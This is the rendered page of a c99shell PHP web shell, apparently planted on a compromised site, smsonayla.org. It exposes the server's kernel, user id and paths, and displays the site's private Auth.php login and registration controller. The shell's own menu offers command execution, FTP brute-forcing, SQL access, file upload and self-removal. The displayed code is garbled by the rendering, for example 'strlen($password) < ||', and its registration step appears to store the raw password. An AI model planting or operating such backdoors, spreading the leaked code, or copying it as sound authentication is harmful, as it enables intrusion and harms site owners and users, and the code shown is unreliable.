smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/app/Controllers/   drwxr-xr-x
Free 3433.27 GB of 4265.01 GB (80.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Auth.php (3.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Controllers;

class 
Auth extends BaseController
{
    public function 
login()
    {
        if (
user()) {
            return 
redirect()->to('/');
        }
        
$data['page'] = createMeta('Giriş Yap');

        return 
view(currentTheme() . '/login'$data);
    }
    public function 
register()
    {
        if (
user()) {
            return 
redirect()->to('/');
        }
        
$data['page'] = createMeta('Kayıt Ol');

        return 
view(currentTheme() . '/register'$data);
    }
    public function 
logout()
    {
        if (
user()) {
            
session()->destroy();
        }
        return 
redirect()->to('/login');
    }
    public function 
login_post()
    {
        if (
user()) {
            return 
redirect()->to('/');
        }
        
$email $this->request->getPost('emailInput');
        
$password $this->request->getPost('passwordInput');

        if (!
$email || !$password  || $email == '' || $password == '') {
            return 
$this->response->setJSON([
                
'type' => 'error',
                
'message' => 'Tüm alanlar doldurulmalıdır.'
            
]);
        }
        if (
strlen($password) < 6) {
            return 
$this->response->setJSON([
                
'type' => 'error',
                
'message' => 'Parola gerekli şartları karşılamıyor.'
            
]);
        }
        
$user model('User')->where('email'$email)->first();
        if (!
$user || !password_verify($password$user['password'])) {
            return 
$this->response->setJSON([
                
'type' => 'error',
                
'message' => 'Email veya parola hatalı.'
            
]);
        }
        
$user['last_session'] = session_id();
        
session()->set('user'$user);
        
db('users')->where(['email' => $email])->update(['last_session' => session_id()]);

        return 
$this->response->setJSON([
            
'type' => 'success',
            
'message' => 'Giriş başarılı.',
            
'redirect' => base_url('panel')
        ]);
    }


    public function 
register_post()
    {
        if (
user()) {
            return 
redirect()->to('/');
        }
        
$name $this->request->getPost('nameInput');
        
$email $this->request->getPost('emailInput');
        
$password $this->request->getPost('passwordInput');
        
$passwordConfirm $this->request->getPost('passwordConfirmInput');

        if (!
$name || !$email || !$password || !$passwordConfirm || $name == '' || $email == '' || $password == '' || $passwordConfirm == '') {
            return 
$this->response->setJSON([
                
'type' => 'error',
                
'message' => 'Tüm alanlar doldurulmalıdır.'
            
]);
        }
        if (
strlen($password) < || strlen($passwordConfirm) < 6) {
            return 
$this->response->setJSON([
                
'type' => 'error',
                
'message' => 'Parola minimum 6 karakter olmalıdır.'
            
]);
        }
        if (
$password != $passwordConfirm) {
            return 
$this->response->setJSON([
                
'type' => 'error',
                
'message' => 'Parolalar eşleşmiyor.'
            
]);
        }
        
$user model('User')->where('email'$email)->first();

        if (
$user) {
            return 
$this->response->setJSON([
                
'type' => 'error',
                
'message' => 'Bir hata oluştu.'
            
]);
        }
        
model('User')->insert([
            
'name' => $name,
            
'email' => $email,
            
'password' => $password,
        ]);
        return 
$this->response->setJSON([
            
'type' => 'success',
            
'message' => 'Kayıt başarılı.',
            
'redirect' => base_url('login')
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0058 ]--